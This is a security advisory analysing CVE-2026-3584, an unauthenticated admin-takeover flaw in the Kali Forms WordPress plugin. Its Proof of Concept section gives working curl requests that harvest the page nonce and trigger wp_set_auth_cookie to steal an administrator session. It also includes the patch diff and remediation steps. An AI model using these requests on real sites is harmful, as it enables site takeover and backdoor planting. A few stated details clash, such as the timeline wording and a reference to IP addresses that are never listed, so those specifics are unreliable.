CVE-2026-3584: Kali Forms Unauthenticated RCE & Admin Takeover
Table of Contents
CVE-2026-3584 is a CVSS 9.8 Critical unauthenticated Remote Code Execution vulnerability in the Kali Forms WordPress plugin (Contact Form & Drag-and-Drop Builder). By submitting a crafted form request — no login required — an attacker can call wp_set_auth_cookie(1) and receive a live WordPress administrator session cookie in the response. This gives the attacker full site takeover in a single HTTP request. Active mass exploitation has been recorded, with over 312,200 blocked attempts since public disclosure.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Kali Forms — Contact Form & Drag-and-Drop Builder |
| Plugin Slug | kali-forms |
| CVE ID | CVE-2026-3584 |
| CVSS Score | 9.8 (Critical) |
| Vulnerability Type | Unauthenticated Remote Code Execution → Authentication Bypass → Admin Takeover |
| Bug Bounty | $2,145.00 |
| Affected Versions | <= 2.4.9 |
| Patched Version | 2.4.10 |
| Published | March 20, 2026 |
| Researcher | ISMAILSHADOW |
| Wordfence Advisory | Link |
Description
The Kali Forms plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.4.9 via the form_process function. This is due to the prepare_post_data function mapping user-supplied keys directly into internal placeholder storage, combined with the use of call_user_func on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.
Wordfence blocked 96,798 attacks targeting this vulnerability in the 24 hours following public disclosure.
Technical Analysis
Vulnerable Code Path
1. Hook registration (unauthenticated AJAX endpoint)
Inc/Frontend/class-form-processor.php, lines 87–88:
add_action('wp_ajax_nopriv_kaliforms_form_process', [$this, 'form_process']);
The nopriv action means the form_process handler is reachable by any unauthenticated visitor via:
POST /wp-admin/admin-ajax.php?action=kaliforms_form_process
2. Nonce exposed to all visitors
Inc/Frontend/class-form-shortcode.php, line 300:
wp_localize_script('kaliforms-frontend', 'KaliFormsObject', [
'ajaxurl' => esc_url(admin_url('admin-ajax.php')),
'ajax_nonce' => wp_create_nonce($this->slug . '_nonce'), // ← exposed
...
]);
Whenever a page containing a Kali Forms shortcode is rendered — even for logged-out visitors — the nonce kaliforms_nonce is written into the page’s JavaScript as KaliFormsObject.ajax_nonce. Any attacker can obtain this nonce with a simple HTTP GET.
3. Callable placeholders seeded from GeneralPlaceholders
Inc/Utils/class-generalplaceholders.php, lines 41–49:
$placeholders = [
'{sitetitle}' => get_bloginfo('name'),
'{tagline}' => get_bloginfo('description'),
...
'{entryCounter}' => 'KaliForms\Inc\Utils\General_Placeholders_Helper::count_form_entries',
'{thisPermalink}' => 'KaliForms\Inc\Utils\General_Placeholders_Helper::get_current_permalink',
'{submission_link}' => 'KaliForms\Inc\Utils\Submission_Action_Helper::get_submission_link',
];
Three values are stored as PHP callable strings (class::method). The plugin deliberately defers these so it can resolve their values late in the request cycle via call_user_func.
4. User-supplied keys overwrite callable placeholders
Inc/Frontend/class-form-processor.php, prepare_post_data(), lines 334–349:
public function prepare_post_data($data)
{
$prepared_maps = $this->setup_field_map();
$this->field_type_map = $prepared_maps['map'];
$this->advanced_field_map = $prepared_maps['advanced'];
// Seeds placeholders, including the three callable entries above
$this->placeholdered_data = array_merge(
(new GeneralPlaceholders())->general_placeholders,
(new UserPlaceholders())->placeholders,
$this->placeholdered_data
);
$data = array_merge($data, $this->_get_product_fields($data));
foreach ($data as $k => $v) { // $data comes from stripslashes_deep($_POST['data'])
$type = 'textbox';
if (isset($this->field_type_map[$k]) && !empty($this->field_type_map[$k])) {
$type = $this->field_type_map[$k];
}
$this->_run_placeholder_switch($type, $k, $v);
}
...
}
Every key in $_POST['data'] is iterated — including keys that do not correspond to any real form field. There is no check that $k belongs to the form’s defined field set.
_run_placeholder_switch() (default case, line 643):
$this->placeholdered_data['{' . $k . '}'] = is_array($v)
? implode($this->get('multiple_selections_separator', ','), $v)
: sanitize_text_field($v);
If an attacker submits data[entryCounter]=wp_set_auth_cookie, then:
$this->placeholdered_data['{entryCounter}'] = 'wp_set_auth_cookie'
The string wp_set_auth_cookie survives sanitize_text_field because it contains only alphanumeric characters and underscores.
5. Overwritten callable is invoked via call_user_func
Inc/Frontend/class-form-processor.php, _save_data(), lines 696–704:
if (isset($this->placeholdered_data['{entryCounter}'])) {
$this->placeholdered_data['{entryCounter}'] =
call_user_func($this->placeholdered_data['{entryCounter}'], $this->post->ID);
}
if (isset($this->placeholdered_data['{thisPermalink}'])) {
$this->placeholdered_data['{thisPermalink}'] =
call_user_func($this->placeholdered_data['{thisPermalink}']); // ← NO arguments
}
With the attacker’s value in place and data[formId]=1:
call_user_func('wp_set_auth_cookie', 1)
// Sets valid WordPress admin auth cookies for User ID 1
Root Cause
Two independent failures combine into a critical exploit chain:
-
Missing field whitelist in
prepare_post_data— The loop over$_POST['data']iterates ALL submitted keys without verifying that each key matches a real form field. An attacker can inject arbitrary keys, including those that shadow internal callable placeholder names. -
Deferred
call_user_funcon placeholder values without trust validation —_save_datablindly callscall_user_funcon whatever is stored in those placeholder slots. Nothing stopped user-controlled strings from getting there.
Controls That Failed
Two existing defences were in place but neither stopped the attack.
-
Nonce check is NOT a sufficient auth control — The nonce
kaliforms_nonceis generated on every page load and written into the frontend JavaScript for ALL visitors, including unauthenticated ones.wp_verify_nonceconfirms the nonce came from this server, but it does not check whether the user is logged in. Any visitor can get a valid nonce with a GET request. -
sanitize_text_fielddoes not block PHP function names — Valid PHP and WordPress function names (wp_set_auth_cookie,phpinfo,system, etc.) contain only letters, numbers, and underscores.sanitize_text_fieldstrips none of these.
Attack Impact
With both controls bypassed, the damage is severe.
An unauthenticated attacker can invoke any PHP callable that:
- Takes zero arguments (via
{thisPermalink}) — e.g.,phpinfo, or any zero-arity static method in the process - Takes one integer argument (via
{entryCounter}) — where the integer is$this->post->ID, derived directly from the attacker-controlledformIdparameter
The {entryCounter} path is the critical one. Because the attacker controls formId, they control the integer passed to call_user_func. This enables the following confirmed attack chain observed in the wild:
wp_set_auth_cookie(1) → Instant admin takeover
- Attacker submits
data[entryCounter]=wp_set_auth_cookieanddata[formId]=1 - The plugin loads post ID 1 (the default “Hello World” WordPress post, which is always published), so the published-post check passes
call_user_func('wp_set_auth_cookie', 1)executes: WordPress sets valid authentication cookies for User ID 1 — by convention the default administrator account- The AJAX response includes the
Set-Cookieheader with a live admin session - The attacker is now authenticated as administrator with no credentials
From the admin panel, attackers have been observed editing the active theme’s functions.php to inject persistent backdoor/malware code.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- A WordPress installation with the
kali-formsplugin installed, activated, and version <= 2.4.9 - At least one published form embedded on a public-facing page via shortcode
[kaliforms id="<FORM_ID>"] - Default WordPress user ID 1 must exist and be an administrator (true on nearly all default installs)
Step-by-Step Reproduction
Step 1: Obtain the nonce from the public form page
The nonce kaliforms_nonce is generated server-side and injected into every page that renders a Kali Forms shortcode, as KaliFormsObject.ajax_nonce:
NONCE=$(curl -s https://target.example.com/contact/ \
| grep -oP '"ajax_nonce"\s*:\s*"\K[^"]+')
echo "Nonce: $NONCE"
No authentication is required — this is a standard GET request.
Step 2: Send the authentication-bypass payload
Submit a POST to the WordPress AJAX endpoint with:
data[formId]=1— loads the default “Hello World” post (ID 1, always published), making the plugin’s published-post check pass, and crucially setting$this->post->ID = 1data[entryCounter]=wp_set_auth_cookie— overwrites the{entryCounter}callable placeholder- A valid nonce extracted in Step 1
curl -v -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
--data-urlencode "action=kaliforms_form_process" \
--data-urlencode "data[formId]=1" \
--data-urlencode "data[nonce]=${NONCE}" \
--data-urlencode "data[entryCounter]=wp_set_auth_cookie"
This triggers call_user_func('wp_set_auth_cookie', 1) — WordPress immediately sets valid administrator authentication cookies in the HTTP response.
Observed real-world attack request (from Wordfence):
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
action=kaliforms_form_process&data[formId]=1&data[nonce]=66ddddb2b7&data[entryCounter]=wp_set_auth_cookie
Step 3: Use the admin session to inject malware
# Extract the auth cookies from the response
COOKIE=$(curl -s -D - -X POST "https://target.example.com/wp-admin/admin-ajax.php" \
--data-urlencode "action=kaliforms_form_process" \
--data-urlencode "data[formId]=1" \
--data-urlencode "data[nonce]=${NONCE}" \
--data-urlencode "data[entryCounter]=wp_set_auth_cookie" \
| grep -i "set-cookie")
echo "Admin cookies: $COOKIE"
# Use these cookies to authenticate to wp-admin and edit functions.php
Expected Result
The AJAX response sets WordPress admin authentication cookies (wordpress_logged_in_*, wordpress_sec_*). With those cookies, the attacker has full administrator access to the WordPress dashboard. From there, the Theme/Plugin Editor lets them edit functions.php and inject persistent PHP backdoors.
Verification
- Check the
Set-Cookieheaders in the response forwordpress_logged_in_cookies - Use those cookies to access
https://target.example.com/wp-admin/— you should be logged in as administrator - On a patched installation (2.4.10), the same request returns a normal form response with no auth cookies set
Patch Analysis
Files Changed
Security-relevant changes in Inc/Frontend/class-form-processor.php:
| Change | Location |
|---|---|
Add field-key whitelist in prepare_post_data | Line 354 |
Add field-key whitelist in check_if_placeholders_changed | Lines 259–261 |
Add restore_internal_callable_placeholders() method | Lines 395–409 |
Call restore_internal_callable_placeholders() at end of prepare_post_data | Line 395 |
Fix Explanation
The patch applies a defense-in-depth fix with two independent layers:
Layer 1 — Input whitelist (prevents overwrite at injection point)
Both prepare_post_data and check_if_placeholders_changed now skip any POST key that is not present in $this->field_type_map (the map of actual form fields defined by the site administrator):
// 2.4.10 — added in prepare_post_data and check_if_placeholders_changed
if (!array_key_exists($k, $this->field_type_map)) {
continue;
}
None of entryCounter, thisPermalink, or submission_link are ever defined as form field names in field_type_map. Any data submitted under those keys is now silently dropped before _run_placeholder_switch is called.
Layer 2 — Callable restoration (prevents overwrite by filters)
Even after any custom filter on _form_placeholders runs, the new restore_internal_callable_placeholders() method hard-resets the three callable placeholder values back to their trusted default functions from GeneralPlaceholders:
private function restore_internal_callable_placeholders()
{
$defaults = (new GeneralPlaceholders())->general_placeholders;
foreach (['{entryCounter}', '{thisPermalink}', '{submission_link}'] as $key) {
if (isset($defaults[$key])) {
$this->placeholdered_data[$key] = $defaults[$key];
}
}
}
This second layer ensures that even if a future code path, filter, or edge case brings the overwrite back, the call_user_func targets remain the legitimate class methods.
The fix is complete. Both the injection point and the downstream execution target are independently hardened. The patch introduces no residual risk.
Code Diff (Key Changes)
--- a/Inc/Frontend/class-form-processor.php
+++ b/Inc/Frontend/class-form-processor.php
@@ -340,8 +351,12 @@ class Form_Processor
$data = array_merge($data, $this->_get_product_fields($data));
foreach ($data as $k => $v) {
+ if (!array_key_exists($k, $this->field_type_map)) {
+ continue;
+ }
$type = 'textbox';
- if (isset($this->field_type_map[$k]) && !empty($this->field_type_map[$k])) {
+ if (!empty($this->field_type_map[$k])) {
$type = $this->field_type_map[$k];
}
$this->_run_placeholder_switch($type, $k, $v);
}
+
+ $this->restore_internal_callable_placeholders();
return $data;
}
+private function restore_internal_callable_placeholders()
+{
+ $defaults = (new GeneralPlaceholders())->general_placeholders;
+ foreach (['{entryCounter}', '{thisPermalink}', '{submission_link}'] as $key) {
+ if (isset($defaults[$key])) {
+ $this->placeholdered_data[$key] = $defaults[$key];
+ }
+ }
+}
Active Exploitation
This vulnerability is under active mass exploitation. Wordfence has blocked over 312,200 exploit attempts since public disclosure on March 20, 2026. Attackers drove a peak of mass exploitation April 4–10, 2026, the same day the free Wordfence firewall rule became available.
Indicators of Compromise
There are no clear or easily identifiable IoCs — attackers who gain admin access can clear log entries. If running a vulnerable version, review server access logs for POST requests to /wp-admin/admin-ajax.php with action=kaliforms_form_process originating from the IP addresses above.
The absence of matching log entries does not guarantee the site is clean. Look for:
- Unexpected or new administrator accounts
- Recent modifications to theme files (
functions.php) or plugin files - Unknown cron jobs or scheduled tasks
Timeline
| Date | Event |
|---|---|
| March 2, 2026 | Vulnerability reported to Wordfence Bug Bounty Program by ISMAILSHADOW |
| March 20, 2026 | Patched version 2.4.10 released; public disclosure by Wordfence |
| March 20, 2026 | Attackers begin exploiting the same day as disclosure |
| April 4–10, 2026 | Peak mass exploitation observed |
Remediation
Update the kali-forms plugin to version 2.4.10 or later immediately.
If an immediate update is not possible:
- Temporarily deactivate the plugin until patching is feasible
- Use a WAF rule to block POST requests to
admin-ajax.php?action=kaliforms_form_processthat contain keys other than expected form field names